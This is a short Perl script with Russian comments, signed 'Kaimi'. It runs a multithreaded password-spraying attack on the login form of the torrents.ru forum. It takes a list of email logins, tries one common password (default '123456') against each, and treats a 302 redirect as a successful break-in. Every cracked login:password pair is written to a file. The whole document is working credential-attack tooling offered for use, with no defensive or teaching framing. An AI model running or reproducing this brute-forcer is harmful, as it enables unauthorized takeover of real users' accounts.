use warnings; use LWP::UserAgent; use threads; use threads::shared; use Fcntl ':flock'; $threads = shift || 10 ; #Кол-во потоков $pwd = shift || '123456' ; $fname = 'good.txt' ; #Валидные $ml = shift || 'base.txt' ; #Список мыл my $i : shared; $| =1; open (ACS, "<$ml") || die("Could not open login list file!"); my @acc : shared = ; chomp(@acc); close(ACS); $size = scalar @acc; for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { my $ua = LWP::UserAgent->new; $ua->agent("Mozilla/4.0"); while(@acc) { my $login =''; {lock(@acc); $login = shift @acc;} my $answ = $ua->post('http://torrents.ru/forum/login.php', {'login_username' => $login, 'login_password' => $pwd, login => 'Вход'})->code; if($answ == 302) { print "[+] $login\n"; open(FILE, ">>$fname") || die("Could not open $fname\n"); flock(FILE, LOCK_EX); print FILE "$login:$pwd\n"; flock(FILE, LOCK_UN); close(FILE); } {lock($i);$i++;} print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r"; } } #(c)Kaimi